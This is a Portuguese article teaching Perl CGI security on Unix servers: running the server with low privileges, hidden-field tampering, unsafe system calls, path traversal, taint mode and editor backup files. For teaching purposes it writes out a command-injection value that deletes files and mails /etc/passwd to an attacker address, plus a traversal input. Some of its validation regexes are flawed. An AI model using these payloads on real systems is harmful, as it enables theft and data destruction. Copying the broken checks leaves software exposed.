Frank Ned Santa Cruz de Oliveira
Responsável pelo Website Verdade
@Absolutahttp://www.absoluta.org
frank@absoluta.org

ARTIGO

Segurança de sistemas:
Seu CGI é seguro ?

Seu CGI é seguro ?

1. Introdução
2. Começar por onde ?
3. Script seguro
4. Cuidado com campos hidden
5. Outras regras para chamadas de sistema
6. Abertura de arquivos
7. A poderosa ferramente : Taint Checks
8. O perigo do auto-backup
9. Conclusão
10. Referências

1 - Introdução

Páginas interativas geralmente requerem dados do servidor web para serem manipulados em conjunto com as entradas dos usuários. Para realizar esta mágica os desenvolvedores escolhem várias ferramentas diferentes incluindo CGI, pois é a forma mais conveniente de manipular dados no servidor web. Mas infelizmente existem alguns riscos de segurança para servidores web rodando em UNIX. Considerações sobre segurança são muito importantes para vários serviços cruciais como servidor de correio eletrônico, DNS, espaço em disco ou bancos de dados residentes em servidores. Embora remover os serviços de CGI possa parecer uma opção, isso definitivamente seria uma coisa fora da realidade. Para garantir segurança ao seu servidor web, você primeiramente tem que definir uma política para CGI. O próximo passo é verificar se as regras estão sendo seguidas e fazer os devidos ajustes. Neste artigo vamos falar sobre alguns erros comuns no desenvolvimento de CGIs em Perl e como corrigir estes problemas.

2 - Começar por onde ?

O primeiro ponto para definir uma política de segurança para os CGIs é considerar o dono dos processos que são executados no servidor web. Muitos problemas de CGI estão relacionados com user id (UID) e group id (GID) dos processos do servidor web. Os processos do nosso servidor web nunca devem rodar como root. Rodar o servidor web com a combinação nobody, nogroup, é razoável pois dá o mínimo de privilégio aos programas CGI. Uma alternativa interessante é rodar os processos do servidor web com um UID e GID específico, por exemplo "www". Isso garante que o servidor web não vai entrar em conflito com outros serviços que rodam como nobody. Para configurar o UID e GID no Apache e no NSCA, veja o arquivo httpd.conf.

Muitos servidores web oferecem várias opções para setar a estrutura do seu diretório de CGI. Você pode definir que os programas com extensão .cgi ou .pl podem ficar localizados em qualquer lugar abaixo do root do servidor web. Esta é uma configuração ameaçadora, pois torna a monitoração e manutenção dos scripts muito difícil. É recomendável, como precaução extra, que os scripts só rodem embaixo do "Server root" - você pode ler mais a respeito do

chroot na documentação do NCSA.

Em muitos servidores web os CGIs são escritos por diferentes pessoas com vários níveis de experiência. Para programadores UNIX experientes é relativamente fácil encontrar furos em CGI através do protocolo HTTP. Para facilitar a administração e diminuir os riscos potenciais de segurança, você deve definir somente um diretório de CGI executáveis (em muitos servidores UNIX ele é chamado de cgi-bin) e permitir acesso de gravação somente para os programadores com consciência e com competência. Mesmo com tais restrições de acesso, você deve ficar atento para identificar vulnerabilidades nos CGIs. A criação de uma área não pública para testes de CGI é uma idéia interessante para minimizar os riscos de segurança.

Existem várias configurações para a execução de CGI. Por exemplo, talvez seja uma boa idéia desabilitar SSI em servidores NCSA e Apache. Você não deve permitir que qualquer usuário tenha acesso ao conteúdo do seu diretório de CGI através da opção Index; desative esta opção no arquivo access.conf.

3 - Script seguro

Se o seu servidor web roda com o usuário "nobody", você está seguro quanto aos ataques externos, certo ? Errado ! Dependendo do perfil da segurança do seu servidor web, existem muitas outras maneiras de explorar as vulnerabilidades do seu CGI. O que exatamente um atacante pode fazer no seu servidor web que roda como "nobody" ou com um UID/GID específico ?

- Enviar o arquivo de senha (sem shadow) para ele mesmo.
- Obter informações do sistema armazenadas no /etc.
- Com algumas linhas de Perl, ele pode startar uma porta alta no seu servidor e dar um telnet.
- Deletar sistemas de arquivos importantes e arquivos de configuração
- Fazer negação de serviço em portas específicas
- Fazer exploração exaustiva do seu sistema de arquivos.
- Quer mais ? ;)

Muitos destes ataques via scripts CGI já estão documentados, os nossos exemplos são curtos e estão ilustrados com a linguagem Perl.

4 - Cuidado com campos hidden

Imagine que um usuário chamado Sr. esperto tenha o seguinte formulário na web :

```
<HTML>
 <BODY>
  <H1> Formulário de resposta para Sr. esperto </H1>
  <FORM ACTION="http://www.algum.lugar.com.br/cgi-bin/resposta.pl"
METHOD="get">
    <INPUT TYPE="hidden"
NAME="meu_endereco" VALUE="esperto@algum.lugar.com.br">
    <INPUT TYPE="text"     NAME="comentario">
    <INPUT TYPE="submit" VALUE="Enviar comentário">
  </FORM>
 </BODY>
</HTML>
```

Este é um formulário simples onde o usuário entra com uma mensagem para ser enviada para um script chamado resposta.pl. Dentro do script resposta.pl vamos encontrar a seguinte linha (suponha que as variáveis já tenham sido passadas):

```
system("/usr/lib/sendmail  -t $meu_endereco < $arq_temp")
```

com a resposta do formulário sendo gravada em um arquivo temporário para ser enviada via e-mail para o Sr. esperto. Alguns dias após o administrador do sistema ter instalado este script no diretório cgi-bin, ele percebe que um hacker invadiu o sistema e comprometeu arquivos importantes. Mas, como ? Imagine que o hacker tenha salvo o formulário localmente e setado o mesmo com os seguintes valores :

```
<HTML>
  <BODY>
   <H1> Invadindo algum.lugar.com.br ! </H1>
   <FORM  ACTION="http://www.algum.lugar.com.br/cgi-bin/resposta.pl"
METHOD="get">
     <INPUT TYPE="hidden" NAME="meu_endereco"
          VALUE="; rm *; mail -s hacker@no.mundo.com.br < /etc/passwd;">
     <INPUT TYPE="text"      NAME="comentario">
     <INPUT TYPE="submit"  VALUE="Enviar  para hacker">
   </FORM>
 </BODY>
</HTML>
```

Os pontos-e-vírgulas no campo hidden são um delimitador para separar comandos UNIX, possibilitando a execução semelhante à uma linha de comando shell. A chamada de sistema em Perl gera um shell UNIX, e neste caso, executa os comandos do campo value, removendo os arquivos do diretório corrente e enviando um e-mail com o arquivo de senhas para o hacker.
A primeira lição: você não deve confiar nas informações passadas via script CGI. A segunda lição: evite usar chamadas de sistemas promíscuas em Perl, ou em qualquer outra linguagem.

5 - Outras regras para chamadas de sistema

Qualquer chamada de sistema é muito perigosa se não for codificada corretamente. Considere a seguinte linha de código em Perl (lembre-se da utilização de aspas invertidas da Perl juntamente com a convenção shell):

```
print `/usr/local/bin/finger $entrada_usuario`;
```

Isto pode ser uma vantagem para um usuário malicioso. Em geral, não permita os seguintes meta-caracteres na entrada de usuários :

; > < & * ` | $ #

Veja um código simples para checar estes caracteres:

```
if  ($entrada_usuario =~ /[;<>*`|&$#]/)     # coloque qualquer sequencia de caracteres que
você quer filtrar
   {
     print "<H1> Erro de CGI : O que você está fazendo ! </H1>";  # envie uma mensagem
de erro
    }
else
    {
      print `/usr/local/bin/finger $entrada_usuario`    # processe  normalmente
     }
```

Para um formulário que recebe um endereço de e-mail, você pode designar um formato de estilo do domínio (neste exemplo não levamos em consideração o formato de endereço do uucp):

```
unless ( $entrada_usuario =~ /^[\@\.\-]+$/)   # se não encontra este formato de e-mail
   {
    print "<H1> Erro de CGI : Entre com um e-mail válido </H1>";   # envie uma
mensagem de erro
   }
else
  {
   print `/usr/local/bin/finger $entrada_usuario`    # processe normalmente
  }
```

Com Perl, você pode executar uma chamada de sistemas usando aspas invertidas, ou com o comando eval. Considere a seguinte alternativa para uma chamada de sistema. Para uma aplicação de e-mail use :

```
open (MAIL, "| /usr/lib/sendmail -t -n");
print MAIL  <<  FIM
From: $remetente
To: $destinatario
Subject: $assunto

$mensagem
FIM
```

Este exemplo abre um processo no sendmail usando um filtro, desta forma você evita os perigos de uma chamada ao sistema. Os comandos system e exec são duas opções que permitem realizar chamadas diretas ao sistema. Listando seus argumentos como mostrado abaixo, você neutraliza qualquer vulnerabilidade no shell do UNIX:

```
system  "/usr/bin/finger",$entrada
exec "/bin/ping",$argumento_ping,$host_ping
```

Agora mais um exemplo com filtro de processo que previne vulnerabilidades do shell. O formato geral é:

```
open(apelido_arq, '|-') || exec \ "programa", $arg1, $arg2;
```

Para usar o código místico |-, você pode dar um fork na cópia do Perl e filtrar esta cópia, vamos ver um exemplo com o comando exec:

```
open(FIND,"|-")  || exec "/usr/bin/find",  "/","-name",$nome,"-print";
while (<FIND>)
  {
   print "Encontrado:  $_";
  }
 close  FIND;
```

Este programa procura no sistema por uma variável chamada $nome e mostra todas as ocorrências encontradas. Este formato realmente protege contra as chamadas de sistema indevidas.

6 - Abertura de arquivos

Imagine que você está escrevendo um programa que grava uma mensagem em um arquivo informado pelo usuário. Você coloca a seguinte linha no seu código:

open(ARQ,">/usr/local/mensagen/dados/$arq");

O que acontece se o usuário digitar ../../../../etc/passwd como nome do arquivo? Você pode ter um problema muito sério. Sempre verifique .. quando abrir qualquer tipo de arquivo.

7 - A poderosa ferramenta : Taint Checks

A Perl tem uma opção prática para verificar variáveis contaminadas. Considere que muitas das vulnerabilidades dos CGI são o conteúdo das variáveis passadas pelos usuários. Imagine que todas as variáveis passadas para seu CGI estão contaminadas e esta contaminação podem atacar outras partes do sistema. Perl taint check previne contra qualquer variável contaminada que possa ser usada com system, eval, exec, aspas invertidas ou qualquer tipo de ação que possa afetar as variáveis. A Perl pára o programa se identificar uma contaminação.

Para chamar o taint check com a Perl 4, a primeira linha do seu programa tem que ser :

#!/usr/local/bin/taintperl

Com a Perl 5, você pode invocar o modo de segurança com a opção -T :

#!/usr/local/bin/perl -T

Uma variável não precisa ser checada pelo modo de segurança, somente por que você verificou a existência de caracteres não permitidos na variável. Somente após a extração dos caracteres não permitidos você pode usar as variáveis :

```
$mail =~ /([\w-.]+\@[\w-.]+)/;
$mail_nao_verificado = $1;
```

Você deve incluir mais uma informação quando for executar taint check. A Perl não possui todas as variáveis de caminho (path), você deve definir isso. Tenha certeza que você incluiu a linha abaixo no seu programa ou você vai ter um erro de caminho inseguro:

```
$ENV{'PATH'} = '/usr/bin:/usr/local/bin:/bin';
```

Uma das coisas favoritas dos hackers é modificar suas variáveis para apontar para trojan horse em outro diretório. Você sempre deve usar o caminho completo do comando para fazer chamadas de sistema :

```
system("finger $arq");      # esta não é uma opção boa.

system("/usr/local/bin/finger $arq");    # esta é melhor
```

8 - O perigo do auto-backup

Tenha cuidado ao editar seu programa CGI no diretório cgi-bin. Alguns editores, como o emacs, cria um backup do arquivo com uma extensão ~ se você editar o original. Se um intruso

descobrir programas com a extensão .pl~, ele poderá ver o fonte do programa, tenha certeza de que o servidor não reconhece a extensão .pl~. Se ele conseguir ver o backup do programa no formato de texto, ele pode invadir seu programa rastreando vulnerabilidades. Veja se não existe nenhum tipo de extensão desconhecida ou estranha no seu diretório cgi-bin.

9 - Conclusão

Não deixe muitas informações sobre o seu servidor nos seus programas e no diretório cgi-bin. Por exemplo, o comando finger é conveniente, mas ele pode divulgar coisas importantes. Não deixe nenhuma informação importante no diretório cgi-bin. Não permita que seu CGI rode com outro usuário que não seja o usuário do servidor web. Você deve periodicamente checar o conteúdo do diretório cgi-bin, se usuários privilegiados estão editando seus programas constantemente. Uma simples verificação em seus códigos podem salvá-los de algumas coisas.

10 - Referência

- Teach Yourself CGI programming with Perl 5 in a week
- Sys Admin - The journal for UNIX Systems Administrators (November 1996)

O que você achou deste Artigo ?

Qualidade			Abordagem do Assunto		
Excelente	Medio	Fraco	Objetiva	Extensa	Reduzida

Comentário:

Enviar Limpar